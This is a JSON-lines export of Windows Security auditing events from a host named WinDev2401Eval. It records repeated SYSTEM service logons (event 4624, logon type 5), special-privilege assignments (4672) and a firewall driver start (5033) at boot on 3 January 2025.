{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.187758Z"}},"EventRecordID":20951,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.352454Z"}},"EventRecordID":20952,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.352460Z"}},"EventRecordID":20953,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.435480Z"}},"EventRecordID":20954,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.435488Z"}},"EventRecordID":20955,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.439067Z"}},"EventRecordID":20956,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.439073Z"}},"EventRecordID":20957,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.454940Z"}},"EventRecordID":20958,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.454944Z"}},"EventRecordID":20959,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.457666Z"}},"EventRecordID":20960,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.457671Z"}},"EventRecordID":20961,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.504493Z"}},"EventRecordID":20962,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.504499Z"}},"EventRecordID":20963,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5033,"Version":0,"Level":0,"Task":12292,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.532739Z"}},"EventRecordID":20964,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":352}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.592783Z"}},"EventRecordID":20965,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.592790Z"}},"EventRecordID":20966,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.593504Z"}},"EventRecordID":20967,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.593508Z"}},"EventRecordID":20968,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":896}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.595525Z"}},"EventRecordID":20969,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.595530Z"}},"EventRecordID":20970,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:01:07.607375Z"}},"EventRecordID":20971,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
